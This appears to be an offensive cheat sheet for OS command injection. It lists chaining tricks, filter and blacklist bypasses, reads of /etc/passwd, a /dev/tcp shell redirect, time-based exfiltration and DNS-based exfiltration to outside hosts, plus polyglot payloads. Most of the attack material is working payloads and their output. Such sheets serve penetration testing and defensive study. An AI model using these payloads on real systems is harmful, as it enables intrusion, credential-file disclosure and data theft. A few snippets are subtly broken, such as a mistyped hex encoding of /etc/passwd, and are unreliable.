

# Command Injection

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Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.

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## Tools

- [commix](#) - Automated All-in-One OS command injection and exploitation tool

## Exploits

### Basic commands

Execute the command and voila :p

```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
```

## Chaining commands

```
original_cmd_by_server; ls
original_cmd_by_server && ls
original_cmd_by_server | ls
original_cmd_by_server || ls    # Only if the first cmd fail
```

## Inside a command

```
original_cmd_by_server `cat /etc/passwd`
original_cmd_by_server $(cat /etc/passwd)
```

## Filter Bypasses

### Bypass without space

Works on Linux only.

```
swissky@crashlab:~/www$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab:~$ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab:~$ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab:~$ X=${IFS}'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu

swissky@crashlab:~$ sh</dev/tcp/127.0.0.1/4242
```

### Commands execution without spaces, \$ or { } - Linux (Bash only)

```
IFS=,;`cat<<<uname,-a`
```

Tabs work as separators in web apps where spaces are removed.

```
;ls%09-a%09/home
drwxr-xr-x  4 root root  4096 Jan 10 13:34 .
drwxr-xr-x 18 root root  4096 Jan 10 13:33 ..
```

```
drwx----- 2 root root 16384 Jan 10 13:31 lost+found
drwxr-xr-x 4 test test 4096 Jan 13 08:30 test
```

Works on Windows only.

```
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
```

Bypass with a line return

```
something%Acat%20/etc/passwd
```

You can also write files.

```
;cat>/tmp/hi<<EOF%0ahello%0aEOF
;cat</tmp/hi
hello
```

Bypass characters filter via hex encoding

Linux

```
swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x77\x64"
/etc/passwd

swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ abc='${\x2f\x65\x74\x63\x2f\x70\x61\x73\x77\x64}';cat $abc
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ `echo ${cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x77\x64}`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash
```

Bypass characters filter

## Commands execution without backslash and slash - linux bash

```
swissky@crashlab:~$ echo ${HOME:0:1}
/

swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ echo . | tr '!'-0' '"-1'
/

swissky@crashlab:~$ tr '!'-0' '"-1' <<< .
/

swissky@crashlab:~$ cat $(echo . | tr '!'-0' '"-1')etc$(echo . | tr '!'-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash
```

## Bypass Blacklisted words

### Bypass with single quote

```
w'h'o'am'i
```

### Bypass with double quote

```
w"h"o"am"i
```

### Bypass with backslash and slash

```
w\ho\am\i
/\b\i\n/////s\h
```

### Bypass with \$@

```
who$@ami

echo $@
-> /usr/bin/zsh
echo whoami|$@
```

### Bypass with \$( )

```
who$( )ami
who$(echo am)i
```

```
who`echo am`i
```

### Bypass with variable expansion

```
/???/??t /???/p??s??  
  
test=/ehhh/hmtc/pahhh/hmsswd  
cat ${test//hhh\hm/}  
cat ${test//hh?hm/}
```

### Bypass with wildcards

```
powershell C:\*\*2\n??e*d.*? # notepad  
@^p^o^w^e^r^s^h^e^l^l c:\*\*32\c*?c.e?e # calc
```

## Challenge

Challenge based on the previous tricks, what does the following command do:

```
g="/e"h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh?hm/}
```

## Time based data exfiltration

Extracting data : char by char

```
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi  
real    0m5.007s  
user    0m0.000s  
sys 0m0.000s  
  
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi  
real    0m0.002s  
user    0m0.000s  
sys 0m0.000s
```

## DNS based data exfiltration

Based on the tool from <https://github.com/HoLyVieR/dnsbin> also hosted at [dnsbin.zhack.ca](https://dnsbin.zhack.ca)

```
1. Go to http://dnsbin.zhack.ca/  
2. Execute a simple 'ls'  
for i in $(ls /) ; do host "$1.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```

```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```

Online tools to check for DNS based data exfiltration:

- [dnsbin.zhack.ca](https://dnsbin.zhack.ca)
- [pingb.in](https://pingb.in)

## Polyglot command injection

```
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
```

e.g:

```
echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
```

```
/*$(sleep 5)`sleep 5``*/-/*$(sleep 5)`sleep 5` #*/-
sleep(5)||'|'||sleep(5)||"/***/
```

e.g:

```
echo 1/*$(sleep 5)`sleep 5``*/-/*$(sleep 5)`sleep 5` #*/-
sleep(5)||'|'||sleep(5)||"/***/
echo "YOURCMD/*$(sleep 5)`sleep 5``*/-/*$(sleep 5)`sleep 5` #*/-
sleep(5)||'|'||sleep(5)||"/***/"
echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-/*$(sleep 5)`sleep 5` #*/-
sleep(5)||'|'||sleep(5)||"/***/'
```

## References

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